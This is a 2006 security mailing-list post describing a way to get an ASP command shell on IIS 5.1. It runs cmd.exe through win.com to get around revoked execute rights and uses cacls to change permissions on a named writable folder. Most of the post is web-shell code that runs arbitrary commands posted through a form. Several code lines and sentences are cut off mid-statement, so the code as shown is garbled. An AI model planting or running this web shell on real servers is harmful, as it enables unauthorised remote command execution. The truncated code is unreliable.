ASP Cmd Shell On IIS 5.1 Dec 13 2006 02:02AM
Brett Moore (brett moore security-assessment com)

% ASP Cmd Shell On IIS 5.1
% brett.moore (at) security-assessment (dot) com [email concealed]


ASP shells have been around since the dawn of time. On IIS 5.0 and prior
was simple to create a 'command prompt shell' using code similar to;

Set oS = Server.CreateObject("WSCRIPT.SHELL")
output = oS.exec("cmd.exe > /c " & request("command")).stdout.readall
response.write output

Permissions changes in IIS 5.1 prevented this method from working as
execution access was revoked to the IUSR_Machine user.

During one boring afternoon it was decided to find a way around this,
what we found was 'slightly' interesting.

When IIS checks to see if an executable has 'execute' rights it is
checking against IUSR_Machine. If execute rights are granted then the
new process is created, under the IWAM_Machine account.

Thus all that was needed was an executable that could be run by
and would then spawn an instance of cmd.exe.

We set about seeing what executables could be run by IUSR_Machine. It
out that execution access has been revoked to all files with the .exe
extension. We did however locate several .com files that could still be
executed. One in particular 'win.com' takes a command line as a
and will execute it.

Because of the 'double spawning' we can not make use of .stdout.readall,
need to revert to outputting to a file, and reading it back in.

Due to the process executing under a different account than that of the
processor, we need to jump through a couple of hoops.
* The folder that we use must be WRITEABLE by IWAM_Machine
* The folder that we use must be READABLE by IUSR_Machine
* We need to alter file permissions to allow IUSR_Machine access to read

the file created by IWAM_Machine

The accesschk tool from sysinternals, can easily identify a valid
Our testings came up with c:\windows\pchealth\ERRORREP\QHEADLES
IIS6.0 revokes access to both IUSR_Machine and IWAM_Machine, and
this technique will not work on that platform.


Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")

If (szCMD <> "") Then
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
' Here we do the command
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If




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